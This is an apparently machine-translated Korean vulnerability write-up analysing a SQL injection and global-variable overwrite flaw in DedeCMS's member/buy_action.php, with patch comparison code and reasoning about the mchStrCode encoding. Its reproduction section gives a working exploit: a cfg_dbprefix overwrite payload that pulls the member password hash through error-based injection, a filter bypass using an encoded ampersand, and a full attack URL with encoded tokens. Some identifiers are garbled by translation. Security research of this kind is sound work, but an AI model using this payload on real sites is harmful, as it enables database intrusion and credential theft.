직몽Dedecms buyaction.php SQL 주입 빈틈 분석

10546 단어 네트워크 보안

Dedecms buy_action.php SQL 주입 빈틈 분석


0x01 패치 비교


원본과 2월 25일 패치를 비교한 결과 변경된 파일이 3개,buyaction.php、uploadsafe.inc.php 및 sysinfo.htm.
sys_info.htm 리셋 cfgcookie_encode 코드이며 정적 파일입니다. 무시할 수 있습니다.uploadsafe.inc.php는 다른 주입 빈틈의 수리이기 때문에buyaction.php 파일, 다음은 변화가 발생한 부분을 살펴보겠습니다.
변화 전
/**
 *      
 *
 * @access    public
 * @param     string  $string     
 * @param     string  $action    
 * @return    string
 */
function mchStrCode($string,$action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';
    for($i=0; $i

변화 후
/**
 *      
 *
 * @access    public
 * @param     string  $string     
 * @param     string  $operation    
 * @return    string
 */
function mchStrCode($string, $operation = 'ENCODE')
{
    $key_length = 4;
    $expiry = 0;
    $key = md5($GLOBALS['cfg_cookie_encode']);
    $fixedkey = md5($key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++){
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}

이로써 우리는 이 빈틈이 mchStrCode라는 인코딩 방법 때문에 생긴 것이라고 단정할 수 있다.이 함수를 읽을 때 만약 우리가 cfg 를 알았다면cookie_encode의 경우 인코딩된 문자열은 역추적될 수 있습니다.
따라서 우리는 이 인코딩 함수를 사용하여 디코딩을 하는 곳에서 디코딩을 한 후에 어떠한 검사와 필터도 하지 않고 내용을 SQL 문장에 전송하고 사용자는 인코딩 함수에 들어가 디코딩을 하는 문자열을 제어하여 SQL 주입의 발생을 유도할 수 있다고 초보적으로 단정할 수 있다.

0x02 원리 분석


이 문제는 바이에action.php 파일의 시작 부분, 관련 코드는 다음과 같습니다.
//      
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    foreach($mch_Post as $k => $v) $$k = $v;*]
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("         !", 'javascript:;');
        exit();
    }
    if(!isset($paytype))
    {
        ShowMsg("       !", 'javascript:;');
        exit();
    }
    $buyid = $row['buyid'];

}//      

우리는if문장이 시작되었을 때의 세 줄 코드를 중점적으로 보았는데 mchStrCode는 우리가 이전 소절에서 비교 패치를 통해 변화를 발견한 함수이다.즉, 이 함수는 사용자가 제출한 데이터를 인코딩하거나 디코딩할 수 있으며, $pdencode도 우리가 제어할 수 있는 변수다.
parse_str 방법은 디코딩 후 $pdencode의 변수를 $mchPost 배열에서 다음foreach 문장에 뚜렷한 변수 덮어쓰기가 존재합니다. $mchPost의 키는 변수로 정의되며 키에 대응하는value를 이 변수에 부여합니다.그런 다음 SQL 조회를 수행합니다.
이 과정에서 정의된 키를 검사하지 않아 공격자가 mschStrCode 인코딩을 통해 공격 코드를 공격하고 GPC와 다른 필터 메커니즘을 돌아서 공격 코드를 목표에 직통시킬 수 있다는 뚜렷한 소홀함이 존재한다.
사실 빈틈의 발생 원인의 측면에서 볼 때, 이것은 SQL 주입 빈틈이 아니라 전역 변수 덮어쓰기 빈틈에 속한다.

0x03 활용 사고방식


빈틈의 원리는 비교적 간단하지만 이용하기에는 매우 어렵다. 내가 실현하는 과정을 보면 구체적인 걸림돌은 두 가지가 있다.
4
  • GPC를 켜면 parsestr는 여전히 변수 값의 특수 문자를 전의합니다. 돌아갈 수 없습니다

  • 4
  • mchStrCode라는 함수의 인코딩 과정에서 사이트가 미리 설정한 cfgcookie_encode, 이 내용은 사용자 인터페이스에서 MD5 값만 얻을 수 있습니다

  • 첫 번째 문제 해결은 간단합니다. $mid와 $product는 인용부호로 폐쇄되었지만, 이 빈틈을 이용하여 전역 변수를 덮어쓸 수 있음을 감안하여 전역 변수 cfg 를 직접 덮어쓸 수 있습니다.dbprefix - from에 SQL 주입문을 삽입합니다.즉, 우리는 테이블 접두사 변수를 덮어쓰고 SQL 주입문을from 키워드 뒤에 놓을 수 있다.
    두 번째 문제는 매우 난이도가 높다. 비록 cfgcookie_코드의 생성은 일정한 규칙성을 가지고 우리는 MD5 충돌 방법으로 얻을 수 있지만 시간 원가가 너무 높아서 최악의 경우 20일을 넘게 달려야 한다.
    이후에 이 빈틈을 생각할 때, 나는 mchStrCode를 사용하여 제어할 수 있는 파라미터를 암호화하고 페이지로 돌아갈 수 있는 곳이 틀림없다고 생각했다.
    전체 원본 파일을 검색하여 buyaction.php 파일의 한 지점에서 이 함수를 사용하여 인코딩을 했고 여기만 인코딩을 했습니다. 관련 코드는 다음과 같습니다.
    //      
    if(!isset($paytype))
    {
        $inquery = "INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`)
       VALUES ('$buyid', '$pname', '$product' , '$price' , '$mtime' , '$pid' , '$mid' , '0' , '$ptype');
        ";
        $isok = $dsql->ExecuteNoneQuery($inquery);
        if(!$isok)
        {
            echo "     ,     !".$dsql->GetError();
            exit();
        }
    
        if($price=='')
        {
            echo "        !";
            exit();
        }
    
        //        
        $payment_list = array();
        $dsql->SetQuery("SELECT * FROM #@__payment WHERE enabled='1' ORDER BY rank ASC");
        $dsql->Execute();
        $i = 0 ;
        while($row = $dsql->GetArray())
        {
            $payment_list[] = $row;
            $i++;
        }
        unset($row);
    
        $pr_encode = '';
        foreach($_REQUEST as $key => $val)
        {
            $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
        }
        $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
    
        $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
    
        $tpl = new DedeTemplate();
        $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
        $tpl->Display();
    
    }//      

    이 부분 코드를 통해 제가 생각한 이용 방법은 [cfg dbprefix=SQL 주입]이 있는 제출 요청을 제출하고 이 지점에 들어가서 제가 [cfg dbprefix=SQL 주입]을 인코딩하여 해당하는pr 을 얻는 데 도움을 주는 것입니다.encode 및 prverify. 하지만 이렇게 이용하면 세 번째 문제, common.cfg, GLOBALS, GET, POST, COOKIE 등 내용으로 시작하는 제출은 차단됩니다.
    이 문제의 해결은 $REQUEST 내용과parse 에 이용되었다str 함수 내용의 차이 특성.우리가 사이트에'a=1&b=2%26c=3'이라는 제출을 전달할 때 $REQUEST의 내용은 [a=1,b=2%26c=3]이었다.위 코드를 통해parsestr 함수의 내용은 [a=1&b=2&c=3]이고 해석된 내용은 [a=1,b=2,c=3]이 된다.이로부터 우리는 이 특성을 통해common을 돌아갈 수 있다.inc.php 파일이 매개 변수의 내용 전달에 대한 검증입니다.

    0x04 취약점 재현


    액세스 buyaction.php 파일, 다음 매개변수를 사용합니다.
    product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@ '/!12345union/select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
    그 중에서 제품과 pid 매개 변수는 mchStrCode에 들어가서 전송된 데이터를 인코딩하기 위한 지점이고 a는 위에서 언급한 차이 특성에 맞추기 위해 임의로 추가된 매개 변수이다.cfgdbprefix가 시작되면 진정한 SQL 주입 공격 코드입니다.이 URL에 액세스한 후 페이지 소스에서 pd 를 찾습니다.encode 및 pdverify 필드의 값은 쿠키와 User-Agent에 따라 달라집니다. 여기서 얻은 값은 다릅니다.
    1
    
    pd_encode:FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBQlBfWkAIAldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCVAHVwYWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8EB1qdnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBV/YXd4RlZXXAdrDlYOW1xDEHlwfnFhRgIeCUsYJX8sdmsZYnR3dxAFTxgAEUtMQ3UxdnQReXt/fGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX5jf2BpE3psRkobWUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUgYBXw0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANaUQAGAgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXwtaN1oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg
    
    1
    
    pd_verify1c7ba5d2861959347d0c427684a6ad30
    

    이 두 필드를 매개 변수로 buy 에 접근합니다action.php, URL:
    1
    
    http://192.168.188.142//dedecms5.7_sp1_utf8/member/buy_action.php?pd_encode=FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBQlBfWkAIAldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCVAHVwYWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8EB1qdnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBV/YXd4RlZXXAdrDlYOW1xDEHlwfnFhRgIeCUsYJX8sdmsZYnR3dxAFTxgAEUtMQ3UxdnQReXt/fGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX5jf2BpE3psRkobWUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUgYBXw0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANaUQAGAgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXwtaN1oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg&pd_verify=1c7ba5d2861959347d0c427684a6ad30
    

    효과는 다음 그림과 같습니다.

    좋은 웹페이지 즐겨찾기